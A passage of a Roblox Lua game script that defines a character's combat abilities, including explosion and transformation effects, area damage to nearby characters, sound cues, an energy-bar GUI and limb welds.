  816. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  817. workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  818. Targetting=true
  819. RocketTarget=ZTarget
  820. for i=1,Property do
  821. --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
  822. if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
  823. swait()
  824. end
  825. --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
  826. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  827. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  828. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
  829. end
  830. Targetting=false
  831. RocketTarget=nil
  832. targetgui.Parent=nil
  833. cam.CameraType="Custom"
  834. end
  835. end
  836. debounce=Instance.new("BoolValue")
  837. debounce.Name="DebounceHit"
  838. debounce.Parent=hit.Parent
  839. debounce.Value=true
  840. game:GetService("Debris"):AddItem(debounce,Delay)
  841. c=Instance.new("ObjectValue")
  842. c.Name="creator"
  843. c.Value=Player
  844. c.Parent=h
  845. game:GetService("Debris"):AddItem(c,.5)
  846. CRIT=false
  847. hitDeb=true
  848. AttackPos=6
  849. end
  850. end
  851.  
  852. showDamage=function(Char,Dealt,du,Color)
  853. m=Instance.new("Model")
  854. m.Name=tostring(Dealt)
  855. h=Instance.new("Humanoid")
  856. h.Health=0
  857. h.MaxHealth=0
  858. h.Parent=m
  859. c=Instance.new("Part")
  860. c.Transparency=0
  861. c.Material = "Neon"
  862. c.BrickColor=bc("New Yeller")
  863. c.Name="Head"
  864. c.TopSurface=0
  865. c.BottomSurface=0
  866. local tick = Instance.new("Sound",c)
  867. tick.SoundId = "rbxassetid://12221976"
  868. tick.Volume = 5
  869. tick.Pitch = 4
  870. tick:Play()
  871. c.formFactor="Plate"
  872. c.Size=Vector3.new(1,.4,1)
  873. ms=Instance.new("CylinderMesh")
  874. ms.Scale=Vector3.new(.8,.8,.8)
  875. if CRIT==true then
  876. ms.Scale=Vector3.new(1,1.25,1)
  877. end
  878. ms.Parent=c
  879. c.Reflectance=0
  880. Instance.new("BodyGyro").Parent=c
  881. c.Parent=m
  882. if Char:findFirstChild("Head")~=nil then
  883. c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  884. elseif Char.Parent:findFirstChild("Head")~=nil then
  885. c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
  886. end
  887. f=Instance.new("BodyPosition")
  888. f.P=2000
  889. f.D=100
  890. f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  891. f.position=c.Position+Vector3.new(0,3,0)
  892. f.Parent=c
  893. game:GetService("Debris"):AddItem(m,.5+du)
  894. c.CanCollide=false
  895. m.Parent=workspace
  896. c.CanCollide=false
  897. p:Destroy()
  898. end
  899.  
  900. function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
  901. for _, c in pairs(workspace:children()) do
  902. local hum = c:findFirstChild("Humanoid")
  903. if hum ~= nil then
  904. local head = c:findFirstChild("Torso")
  905. if head ~= nil then
  906. local targ = head.Position - Part.Position
  907. local mag = targ.magnitude
  908. if mag <= magni and c.Name ~= Player.Name then
  909. Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
  910. end
  911. end
  912. end
  913. end
  914. end
  915.  
  916. function Explode(rad,par)
  917. local expart = Instance.new("Part",script.Parent)
  918. local expart2 = Instance.new("Part",script.Parent)
  919. local partMesh = Instance.new("SpecialMesh",expart)
  920. partMesh.MeshType = "Sphere"
  921. local partMesh2 = Instance.new("SpecialMesh",expart2)
  922. partMesh2.MeshType = "Sphere"
  923. local expld = Instance.new("Explosion", script.Parent)
  924. local plode = Instance.new("Sound",expart)
  925. plode.SoundId = "rbxassetid://165970126"
  926. plode.Volume = 1
  927. plode.Pitch = 1
  928. plode.Looped = false
  929. plode:Play()
  930. expld.BlastRadius = rad
  931. expld.Position = par.Position
  932. partMesh.Scale = vt(rad,rad,rad)
  933. expart.Size = vt(1,1,1)*1.5
  934. expart.Transparency = 0
  935. expart.Anchored = true
  936. expart.Material = "Neon"
  937. expart.BrickColor = bc("Really black")
  938. expart.CFrame = par.CFrame
  939. partMesh2.Scale = vt(rad,rad,rad)
  940. expart2.Size = vt(1.15,1.15,1.15)*1.5
  941. expart2.Transparency = 0.5
  942. expart2.Anchored = true
  943. expart2.Material = "Neon"
  944. expart2.BrickColor = bc("New Yeller")
  945. expart2.CFrame = par.CFrame
  946. local value = 1*rad/6.5
  947. par:Destroy()
  948. for i = 0, 100 do
  949. partMesh.Scale = partMesh.Scale + vt(value,value,value)
  950. expart.CFrame = expart.CFrame
  951. partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
  952. expart2.CFrame = expart.CFrame
  953. value = value - 0.035*rad/6.5
  954. if value < 1 then
  955. value = 0.25
  956. expart.Transparency = expart.Transparency + 0.025
  957. expart2.Transparency = expart2.Transparency + 0.025
  958. end
  959. wait()
  960. end
  961. plode.Parent = nil
  962. expart.Parent = nil
  963. expart2.Parent = nil
  964. expld.Parent = nil
  965. end
  966.  
  967. function ExplodeMass(rad,par)
  968. local expart = Instance.new("Part",script.Parent)
  969. local expart2 = Instance.new("Part",script.Parent)
  970. local partMesh = Instance.new("SpecialMesh",expart)
  971. partMesh.MeshType = "Sphere"
  972. local partMesh2 = Instance.new("SpecialMesh",expart2)
  973. partMesh2.MeshType = "Sphere"
  974. local expld = Instance.new("Explosion", script.Parent)
  975. local plode = Instance.new("Sound",workspace)
  976. plode.SoundId = "rbxassetid://579687077"
  977. plode.Volume = 1
  978. plode.Pitch = 0.85
  979. plode.Looped = false
  980. plode:Play()
  981. local plodez = Instance.new("Sound",workspace)
  982. plodez.SoundId = "rbxassetid://288641686"
  983. plodez.Volume = 1
  984. plodez.Pitch = 0.75
  985. plodez.Looped = false
  986. plodez:Play()
  987. local plodeza = Instance.new("Sound",workspace)
  988. plodeza.SoundId = "rbxassetid://197161452"
  989. plodeza.Volume = 0.85
  990. plodeza.Pitch = 0.65
  991. plodeza.Looped = false
  992. plodeza:Play()
  993. local plodezar = Instance.new("Sound",workspace)
  994. plodezar.SoundId = "rbxassetid://197161452"
  995. plodezar.Volume = 0.85
  996. plodezar.Pitch = 0.25
  997. plodezar.Looped = false
  998. plodezar:Play()
  999. expld.BlastRadius = rad
  1000. expld.Position = par.Position
  1001. wait(0.5)
  1002. par:Destroy()
  1003. plode.Parent = nil
  1004. expart.Parent = nil
  1005. expart2.Parent = nil
  1006. expld.Parent = nil
  1007. end
  1008. function ExplodeMassen(rad,par)
  1009. local expart = Instance.new("Part",script.Parent)
  1010. local expart2 = Instance.new("Part",script.Parent)
  1011. local partMesh = Instance.new("SpecialMesh",expart)
  1012. partMesh.MeshType = "Sphere"
  1013. local partMesh2 = Instance.new("SpecialMesh",expart2)
  1014. partMesh2.MeshType = "Sphere"
  1015. local expld = Instance.new("Explosion", script.Parent)
  1016. local plode = Instance.new("Sound",workspace)
  1017. plode.SoundId = "rbxassetid://579687077"
  1018. plode.Volume = 1
  1019. plode.Pitch = 0.85
  1020. plode.Looped = false
  1021. plode:Play()
  1022. local plodez = Instance.new("Sound",workspace)
  1023. plodez.SoundId = "rbxassetid://288641686"
  1024. plodez.Volume = 1
  1025. plodez.Pitch = 0.75
  1026. plodez.Looped = false
  1027. plodez:Play()
  1028. local plodeza = Instance.new("Sound",workspace)
  1029. plodeza.SoundId = "rbxassetid://197161452"
  1030. plodeza.Volume = 0.85
  1031. plodeza.Pitch = 0.65
  1032. plodeza.Looped = false
  1033. plodeza:Play()
  1034. local plodezar = Instance.new("Sound",workspace)
  1035. plodezar.SoundId = "rbxassetid://197161452"
  1036. plodezar.Volume = 0.85
  1037. plodezar.Pitch = 0.25
  1038. plodezar.Looped = false
  1039. plodezar:Play()
  1040. expld.BlastRadius = rad
  1041. expld.Position = par.Position
  1042. partMesh.Scale = vt(rad,rad,rad)
  1043. expart.Size = vt(1,1,1)*1.5
  1044. expart.Transparency = 0
  1045. expart.Anchored = true
  1046. expart.Material = "Neon"
  1047. expart.BrickColor = bc("Really black")
  1048. expart.CFrame = par.CFrame
  1049. partMesh2.Scale = vt(rad,rad,rad)
  1050. expart2.Size = vt(1.15,1.15,1.15)*1.5
  1051. expart2.Transparency = 0.5
  1052. expart2.Anchored = true
  1053. expart2.Material = "Neon"
  1054. expart2.BrickColor = tors.BrickColor
  1055. expart2.CFrame = par.CFrame
  1056. local value = 1*rad/10
  1057. par:Destroy()
  1058. for i = 0, 300 do
  1059. partMesh.Scale = partMesh.Scale + vt(value,value,value)
  1060. expart.CFrame = expart.CFrame
  1061. partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
  1062. expart2.CFrame = expart.CFrame
  1063. value = value - 0.0175*rad/10
  1064. if value <= 0 then
  1065. expart.Transparency = expart.Transparency + 0.0125
  1066. expart2.Transparency = expart2.Transparency + 0.0125
  1067. value = 0.25
  1068. end
  1069. wait()
  1070. end
  1071. plode.Parent = nil
  1072. expart.Parent = nil
  1073. expart2.Parent = nil
  1074. expld.Parent = nil
  1075. end
  1076. local Ultramode = false
  1077.  
  1078. function Transform()
  1079. if basiccooldown >= 5 then
  1080. hum.WalkSpeed = 0
  1081. local sparta = Instance.new("Part",workspace)
  1082. local msher = Instance.new("SpecialMesh",sparta)
  1083. msher.MeshType = "Sphere"
  1084. msher.Scale = vt(1,1,1)
  1085. wit = BrickColor.new("Really black").Color
  1086. local glowz = Instance.new("ParticleEmitter")
  1087. glowz.LightEmission = 1
  1088. glowz.Parent = sparta
  1089. glowz.Texture = "rbxassetid://284205403"
  1090. glowz.Color = ColorSequence.new(wit)
  1091. glowz.Size = NumberSequence.new(15)
  1092. glowz.Speed = NumberRange.new(100,250)
  1093. glowz.LockedToPart = false
  1094. glowz.Transparency = NumberSequence.new(0.75)
  1095. glowz.RotSpeed = NumberRange.new(-2000,2000)
  1096. glowz.Lifetime = NumberRange.new(1)
  1097. glowz.Rate = 50000
  1098. glowz.VelocitySpread = 9001
  1099. local sa2 = Instance.new("Sound",sparta)
  1100. sa2.SoundId = "rbxassetid://93724183"
  1101. sa2.Pitch = 0.5
  1102. sa2.Volume = 5
  1103. sa2.Looped = false
  1104. sa2:Play()
  1105. local saz2 = Instance.new("Sound",sparta)
  1106. saz2.SoundId = "rbxassetid://199145659"
  1107. saz2.Pitch = 0.45
  1108. saz2.Volume = 5*2
  1109. saz2.Looped = false
  1110. local plode = Instance.new("Sound",sparta)
  1111. plode.SoundId = "rbxassetid://153274423"
  1112. plode.Volume = 5
  1113. plode.Pitch = 1
  1114. plode.Looped = false
  1115. local ploder = Instance.new("Sound",sparta)
  1116. ploder.SoundId = "rbxassetid://130972023"
  1117. ploder.Volume = 5
  1118. ploder.Pitch = 1
  1119. ploder.Looped = false
  1120. sparta.Size = vt(1,1,1)
  1121. sparta.BrickColor = BrickColor.new("Really black")
  1122. sparta.Material = "Neon"
  1123. sparta.Transparency = 0
  1124. sparta.Anchored = true
  1125. sparta.CanCollide = false
  1126. sparta.CFrame = tors.CFrame
  1127. sparta.Rotation = vt(0,0,0)
  1128. local value2 = 2
  1129. for i = 0, 24 do
  1130. value2 = value2 - 0.065
  1131. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1132. wait()
  1133. end
  1134. for i = 0, 10 do
  1135. value2 = value2 + 0.06575
  1136. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1137. wait()
  1138. end
  1139. for i = 0, 10 do
  1140. value2 = value2 - 0.2
  1141. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1142. wait()
  1143. end
  1144. for i = 0, 10 do
  1145. value2 = value2 + 0.275
  1146. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1147. wait()
  1148. end
  1149. for i = 0, 10 do
  1150. value2 = value2 - 0.4
  1151. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1152. wait()
  1153. end
  1154. for i = 0, 10 do
  1155. value2 = value2 + 0.475
  1156. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1157. wait()
  1158. end
  1159. for i = 0, 10 do
  1160. value2 = value2 - 0.6
  1161. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1162. wait()
  1163. end
  1164. for i = 0, 10 do
  1165. value2 = value2 + 0.675
  1166. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1167. wait()
  1168. end
  1169. for i = 0, 10 do
  1170. value2 = value2 - 0.7
  1171. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1172. wait()
  1173. end
  1174. for i = 0, 10 do
  1175. value2 = value2 + 0.775
  1176. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1177. wait()
  1178. end
  1179. saz2:Play()
  1180. wait(2.75)
  1181. plode:Play()
  1182. ploder:Play()
  1183. Ultramode = true
  1184. for i = 0, 75 do
  1185. value2 = value2 - 0.0575
  1186. glowz.Rate = 0
  1187. sparta.Transparency = sparta.Transparency + 0.025
  1188. msher.Scale = msher.Scale + vt(value2,value2,value2)
  1189. wait()
  1190. end
  1191. hum.WalkSpeed = 16
  1192. sparta:Destroy()
  1193. end
  1194. end
  1195.  
  1196.  
  1197. function Blaze2()
  1198. if ultcooldown >= 30 then
  1199. local sloc = Instance.new("Part",workspace)
  1200. local msh = Instance.new("SpecialMesh",sloc)
  1201. msh.MeshType = "Sphere"
  1202. sloc.Size = vt(1,1,1)
  1203. sloc.Transparency = 1
  1204. sloc.BrickColor = tors.BrickColor
  1205. sloc.Position = hed.Position + vt(0,0.1,0)
  1206. sloc.CanCollide = false
  1207. sloc.Shape = "Ball"
  1208. sloc.Anchored = true
  1209. sloc.Material = "Neon"
  1210. local s = Instance.new("Sound",char)
  1211. s.SoundId = "rbxassetid://289315275"
  1212. s.Pitch = 1
  1213. s.Volume = 2.75
  1214. s.Looped = false
  1215. s:Play()
  1216. local s2 = Instance.new("Sound",char)
  1217. s2.SoundId = "rbxassetid://671759140"
  1218. s2.Pitch = 0.425
  1219. s2.Volume = 1
  1220. s2.Looped = false
  1221. s2:Play()
  1222. local val = 0.65*5
  1223. for i = 0 , 75 do
  1224. sloc.Transparency = sloc.Transparency - 0.035
  1225. msh.Scale = msh.Scale + vt(val,val,val)
  1226. val = val - 0.0075*5
  1227. wait()
  1228. end
  1229. wait(2)
  1230. local sen = Instance.new("Sound",char)
  1231. sen.SoundId = "rbxassetid://289315275"
  1232. sen.Pitch = 1
  1233. sen.Volume = 2.75
  1234. sen.Looped = false
  1235. sen:Play()
  1236. local tick = Instance.new("Sound",char)
  1237. tick.SoundId = "rbxassetid://446876721"
  1238. tick.Volume = 2.5
  1239. tick.Pitch = 0.5
  1240. tick:Play()
  1241. msh.Scale = msh.Scale - vt(1,1,1)
  1242. sloc.Transparency = sloc.Transparency + 0.015
  1243. local spart = Instance.new("Part",workspace)
  1244. local msh2 = Instance.new("SpecialMesh",spart)
  1245. msh2.MeshType = "Sphere"
  1246. spart.Size = vt(2,2,2)
  1247. spart.Shape = "Ball"
  1248. spart.BrickColor = tors.BrickColor
  1249. spart.Material = "Neon"
  1250. spart.Transparency = 0
  1251. spart.Anchored = false
  1252. msh2.Scale = msh.Scale/2
  1253. spart.Rotation = hed.Rotation
  1254. spart.CanCollide = false
  1255. spart.Position = sloc.Position + vt(math.random(-0,0),math.random(-0,0),math.random(-0,0))
  1256. local bv = Instance.new("BodyVelocity")
  1257. bv.maxForce = Vector3.new(1e9, 1e9, 1e9)
  1258. bv.velocity = mouse.Hit.lookVector * 125
  1259. bv.Parent = spart
  1260. sloc:Destroy()
  1261. wait(0.00001)
  1262. pewdiepie=spart.Touched:connect(function(hit)
  1263. ExplodeMassen(100,spart)
  1264. end)
  1265. wait(5)
  1266. sloc:Destroy()
  1267. tick:Destroy()
  1268. s:Destroy()
  1269. sen:Destroy()
  1270. s2:Destroy()
  1271. end
  1272. if ultcooldown < 1 then
  1273. for i = 0, 29 do
  1274. ultcooldown = ultcooldown + 1
  1275. wait(1)
  1276. end
  1277. end
  1278. end
  1279.  
  1280. function Blaze()
  1281. if ultcooldown >= 30 then
  1282. local ff = Instance.new("ForceField",char)
  1283. local s = Instance.new("Sound",char)
  1284. s.SoundId = "rbxassetid://289315275"
  1285. s.Pitch = 1
  1286. s.Volume = 2.75
  1287. s.Looped = false
  1288. s:Play()
  1289. local s2 = Instance.new("Sound",char)
  1290. s2.SoundId = "rbxassetid://671759140"
  1291. s2.Pitch = 0.425
  1292. s2.Volume = 1
  1293. s2.Looped = false
  1294. s2:Play()
  1295. local spart = boll:Clone()
  1296. local spart2 = shur:Clone()
  1297. local msh = Instance.new("SpecialMesh",spart)
  1298. msh.MeshType = "Sphere"
  1299. spart.Parent = workspace
  1300. spart.Transparency = 1
  1301. spart.Anchored = true
  1302. spart.Position = tors.Position + vt(0,1,0)
  1303. spart.Size = spart.Size + vt(1,1,1)
  1304. for i = 0, 10 do
  1305. spart.BrickColor = tors.BrickColor
  1306. spart.Transparency = spart.Transparency + -0.05
  1307. spart.Position = tors.Position + vt(0,1,0)
  1308. spart.Size = spart.Size + vt(3,3,3)
  1309. wait(0)
  1310. end
  1311. for i = 0, 5 do
  1312. spart.BrickColor = tors.BrickColor
  1313. spart.Transparency = spart.Transparency + -0.05
  1314. spart.Position = tors.Position + vt(0,1,0)
  1315. spart.Size = spart.Size + vt(2.5,2.5,2.5)
  1316. wait(0)
  1317. end
  1318. for i = 0, 5 do
  1319. spart.BrickColor = tors.BrickColor
  1320. spart.Transparency = spart.Transparency + -0.05
  1321. spart.Position = tors.Position + vt(0,1,0)
  1322. spart.Size = spart.Size + vt(1,1,1)
  1323. wait(0)
  1324. end
  1325. for i = 0, 10 do
  1326. spart.BrickColor = tors.BrickColor
  1327. wait(0.1)
  1328. end
  1329. for i = 0, 20 do
  1330. spart.BrickColor = tors.BrickColor
  1331. spart.Transparency = spart.Transparency + 0.05
  1332. spart.Position = tors.Position + vt(0,1,0)
  1333. spart.Size = spart.Size + vt(-5,-5,-5)
  1334. wait(0)
  1335. end
  1336. local sp = spart:Clone()
  1337. sp.Parent = workspace
  1338. sp.Position = spart.Position
  1339. local sp2 = sp:Clone()
  1340. sp2.Parent = workspace
  1341. sp2.Transparency = 0.5
  1342. local msh2 = sp2.Mesh
  1343. msh2.Scale = vt(1250,1250,1250)
  1344. wit = tors.BrickColor.Color
  1345. local glowz = Instance.new("ParticleEmitter")
  1346. glowz.LightEmission = 0.75
  1347. glowz.Parent = sp2
  1348. glowz.Texture = "rbxassetid://284205403"
  1349. glowz.Color = ColorSequence.new(wit)
  1350. glowz.Size = NumberSequence.new(50)
  1351. glowz.Speed = NumberRange.new(425,450)
  1352. glowz.LockedToPart = false
  1353. glowz.Transparency = NumberSequence.new(0.75)
  1354. glowz.RotSpeed = NumberRange.new(-2000,2000)
  1355. glowz.Lifetime = NumberRange.new(1)
  1356. glowz.Rate = 50000
  1357. glowz.VelocitySpread = 9001
  1358. spart2.Parent = workspace
  1359. spart2.Mesh.Scale = vt(25, 90000, 25)
  1360. spart2.Position = tors.Position
  1361. local seen = Instance.new("Sound",char)
  1362. seen.SoundId = "rbxassetid://445796828"
  1363. seen.Pitch = 0.75
  1364. seen.Volume = 1.75
  1365. seen.Looped = true
  1366. seen:Play()
  1367. local sen = Instance.new("Sound",char)
  1368. sen.SoundId = "rbxassetid://289315275"
  1369. sen.Pitch = 0.98
  1370. sen.Volume = 2.65
  1371. sen.Looped = false
  1372. sen:Play()
  1373. local tick = Instance.new("Sound",char)
  1374. tick.SoundId = "rbxassetid://446876721"
  1375. tick.Volume = 5
  1376. tick.Pitch = 0.5
  1377. tick:Play()
  1378. local seena = Instance.new("Sound",char)
  1379. seena.SoundId = "rbxassetid://300916057"
  1380. seena.Pitch = 0.5
  1381. seena.Volume = 2.5
  1382. seena.Looped = false
  1383. seena:Play()
  1384. spart.Transparency = 0
  1385. ExplodeMass(1000,sp)
  1386. for i = 0, 450 do
  1387. spart2.Position = spart.Position + vt(math.random(-1,1),0,math.random(-1,1))
  1388. sp2.Position = spart.Position
  1389. spart2.Mesh.Scale = spart2.Mesh.Scale + vt(0.035, 0, 0.035)
  1390. spart2.BrickColor = tors.BrickColor
  1391. msh2.Scale = msh2.Scale + vt(3.5,3.5,3.5)
  1392. msh.Scale = msh.Scale + vt(50,50,50)
  1393. sp2.Transparency = sp2.Transparency + 0.0005
  1394. spart.Transparency = spart.Transparency + 0.0025
  1395. spart2.Transparency = spart2.Transparency + 0.0025
  1396. wait(0)
  1397. end
  1398. spart:Destroy()
  1399. seena:Destroy()
  1400. ff:Destroy()
  1401. seen:Destroy()
  1402. sen:Destroy()
  1403. tick:Destroy()
  1404. spart2:Destroy()
  1405. s:Destroy()
  1406. sp:Destroy()
  1407. sp2:Destroy()
  1408. s2:Destroy()
  1409. end
  1410. if ultcooldown < 1 then
  1411. for i = 0, 29 do
  1412. ultcooldown = ultcooldown + 1
  1413. wait(1)
  1414. end
  1415. end
  1416. end
  1417.  
  1418. -- sin
  1419. Player=game:GetService("Players").LocalPlayer
  1420. Character=Player.Character
  1421. PlayerGui=Player.PlayerGui
  1422. Backpack=Player.Backpack
  1423. Torso=Character.Torso
  1424. Head=Character.Head
  1425. Humanoid=Character.Humanoid
  1426. m=Instance.new('Model',Character)
  1427. LeftArm=Character["Left Arm"]
  1428. LeftLeg=Character["Left Leg"]
  1429. RightArm=Character["Right Arm"]
  1430. RightLeg=Character["Right Leg"]
  1431. LS=Torso["Left Shoulder"]
  1432. LH=Torso["Left Hip"]
  1433. RS=Torso["Right Shoulder"]
  1434. RH=Torso["Right Hip"]
  1435. Face = Head.face
  1436. Neck=Torso.Neck
  1437. it=Instance.new
  1438. attacktype=1
  1439. vt=Vector3.new
  1440. cf=CFrame.new
  1441. euler=CFrame.fromEulerAnglesXYZ
  1442. angles=CFrame.Angles
  1443. cloaked=false
  1444. necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1445. necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1446. LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0)
  1447. LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0)
  1448. RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0)
  1449. RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0)
  1450. RootPart=Character.HumanoidRootPart
  1451. RootJoint=RootPart.RootJoint
  1452. RootCF=euler(-1.57,0,3.14)
  1453. attack = false
  1454. attackdebounce = false
  1455. deb=false
  1456. equipped=true
  1457. hand=false
  1458. MMouse=nil
  1459. combo=0
  1460. mana=0
  1461. trispeed=1
  1462. pathtrans=.7
  1463. attackmode='none'
  1464. local idle=0
  1465. local Anim="Idle"
  1466. local Effects={}
  1467. local gun=false
  1468. local shoot=false
  1469. player=nil
  1470. cloak=false
  1471. lightcolor='Bright blue'
  1472.  
  1473. local Color1=BrickColor.new("Really red")
  1474.  
  1475. local fengui=it("GuiMain")
  1476. fengui.Parent=Player.PlayerGui
  1477. fengui.Name="WeaponGUI"
  1478. local fenframe=it("Frame")
  1479. fenframe.Parent=fengui
  1480. fenframe.BackgroundColor3=Color3.new(255,255,255)
  1481. fenframe.BackgroundTransparency=1
  1482. fenframe.BorderColor3=Color3.new(17,17,17)
  1483. fenframe.Size=UDim2.new(0.0500000007, 0, 0.100000001, 0)
  1484. fenframe.Position=UDim2.new(0.4,0,0.1,0)
  1485. local fenbarmana1=it("TextLabel")
  1486. fenbarmana1.Parent=fenframe
  1487. fenbarmana1.Text=" "
  1488. fenbarmana1.BackgroundTransparency=0
  1489. fenbarmana1.BackgroundColor3=Color3.new(0,0,0)
  1490. fenbarmana1.SizeConstraint="RelativeXY"
  1491. fenbarmana1.TextXAlignment="Center"
  1492. fenbarmana1.TextYAlignment="Center"
  1493. fenbarmana1.Position=UDim2.new(0,0,0,0)
  1494. fenbarmana1.Size=UDim2.new(4,0,0.2,0)
  1495. local fenbarmana2=it("TextLabel")
  1496. fenbarmana2.Parent=fenframe
  1497. fenbarmana2.Text=" "
  1498. fenbarmana2.BackgroundTransparency=0
  1499. fenbarmana2.BackgroundColor3=Torso.Color
  1500. fenbarmana2.SizeConstraint="RelativeXY"
  1501. fenbarmana2.TextXAlignment="Center"
  1502. fenbarmana2.TextYAlignment="Center"
  1503. fenbarmana2.Position=UDim2.new(0,0,0,0)
  1504. fenbarmana2.Size=UDim2.new(4*mana/100,0,0.2,0)
  1505. local fenbarmana3=it("TextLabel")
  1506. fenbarmana3.Parent=fenframe
  1507. fenbarmana3.Text=" "
  1508. fenbarmana3.BackgroundTransparency=0
  1509. fenbarmana3.BackgroundColor3=Color3.new(Col1,Col2,Col3)
  1510. fenbarmana3.SizeConstraint="RelativeXY"
  1511. fenbarmana3.TextXAlignment="Center"
  1512. fenbarmana3.TextYAlignment="Center"
  1513. fenbarmana3.Position=UDim2.new(0,0,0,0)
  1514. fenbarmana3.Size=UDim2.new(0,0,0.2,0)
  1515. local fenbarmana4=it("TextLabel")
  1516. fenbarmana4.Parent=fenframe
  1517. fenbarmana4.Text="Energy("..mana..")"
  1518. fenbarmana4.BackgroundTransparency=1
  1519. fenbarmana4.BackgroundColor3=Color3.new(0,0,0)
  1520. fenbarmana4.SizeConstraint="RelativeXY"
  1521. fenbarmana4.TextXAlignment="Center"
  1522. fenbarmana4.TextYAlignment="Center"
  1523. fenbarmana4.Position=UDim2.new(0,0,-0.3,0)
  1524. fenbarmana4.Size=UDim2.new(4,0,0.2,0)
  1525. fenbarmana4.FontSize="Size9"
  1526. fenbarmana4.TextStrokeTransparency=0
  1527. fenbarmana4.TextColor=BrickColor.new("Really black")
  1528.  
  1529. mouse=Player:GetMouse()
  1530. --save shoulders
  1531. RSH, LSH=nil, nil
  1532. --welds
  1533. RW, LW=Instance.new("Weld"), Instance.new("Weld")
  1534. RW.Name="Right Shoulder" LW.Name="Left Shoulder"
  1535. LH=Torso["Left Hip"]
  1536. RH=Torso["Right Hip"]
  1537. TorsoColor=BrickColor.new("Really red")
  1538. function NoOutline(Part)
  1539. Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10
  1540. end
  1541. player=Player
  1542. ch=Character
  1543. RSH=ch.Torso["Right Shoulder"]
  1544. LSH=ch.Torso["Left Shoulder"]
  1545. --
  1546. RSH.Parent=nil
  1547. LSH.Parent=nil
  1548. --
  1549. RW.Name="Right Shoulder"
  1550. RW.Part0=ch.Torso
  1551. RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5)
  1552. RW.C1=cf(0, 0.5, 0)
  1553. RW.Part1=ch["Right Arm"]
  1554. RW.Parent=ch.Torso
  1555. --
  1556. LW.Name="Left Shoulder"
  1557. LW.Part0=ch.Torso
  1558. LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)
  1559. LW.C1=cf(0, 0.5, 0)
  1560. LW.Part1=ch["Left Arm"]
  1561. LW.Parent=ch.Torso
  1562.  
  1563.  
  1564. function part(formfactor,parent,reflectance,transparency,brickcolor,name,size)
  1565. local fp=it("Part")
  1566. fp.formFactor=formfactor
  1567. fp.Parent=parent
  1568. fp.Reflectance=reflectance
  1569. fp.Transparency=transparency
  1570. fp.CanCollide=false
  1571. fp.Locked=true
  1572. fp.BrickColor=brickcolor
  1573. fp.Name=name
  1574. fp.Size=size
  1575. fp.Position=Torso.Position
  1576. NoOutline(fp)
  1577. fp.Material="Neon"
  1578. fp:BreakJoints()
  1579. return fp
  1580. end
  1581.  
  1582. function mesh(Mesh,part,meshtype,meshid,offset,scale)
  1583. local mesh=it(Mesh)
  1584. mesh.Parent=part
  1585. if Mesh=="SpecialMesh" then
  1586. mesh.MeshType=meshtype
  1587. if meshid~="nil" then
  1588. mesh.MeshId="http://www.roblox.com/asset/?id="..meshid
  1589. end
  1590. end
  1591. mesh.Offset=offset
  1592. mesh.Scale=scale
  1593. return mesh
  1594. end
  1595.  
  1596. function weld(parent,part0,part1,c0)
  1597. local weld=it("Weld")
  1598. weld.Parent=parent
  1599. weld.Part0=part0
  1600. weld.Part1=part1
  1601. weld.C0=c0
  1602. return weld
  1603. end
  1604.  
  1605. local Color1=BrickColor.new("Really red")
  1606.  
  1607. local bodvel=Instance.new("BodyVelocity")
  1608. local bg=Instance.new("BodyGyro")
  1609.  
  1610. function swait(num)
  1611. if num==0 or num==nil then
  1612. game:service'RunService'.Stepped:wait(0)
  1613. else
  1614. for i=0,num do
  1615. game:service'RunService'.Stepped:wait(0)
  1616. end
  1617. end
  1618. end
  1619.  
  1620.  
  1621. so = function(id,par,vol,pit)
  1622. coroutine.resume(coroutine.create(function()
  1623. local sou = Instance.new("Sound",par or workspace)
  1624. sou.Volume=vol
  1625. sou.Pitch=pit or 1
  1626. sou.SoundId=id
  1627. swait()
  1628. sou:play()
  1629. game:GetService("Debris"):AddItem(sou,6)
  1630. end))
  1631. end
  1632.  
  1633. function clerp(a,b,t)
  1634. local qa = {QuaternionFromCFrame(a)}
  1635. local qb = {QuaternionFromCFrame(b)}
  1636. local ax, ay, az = a.x, a.y, a.z
  1637. local bx, by, bz = b.x, b.y, b.z
  1638. local _t = 1-t
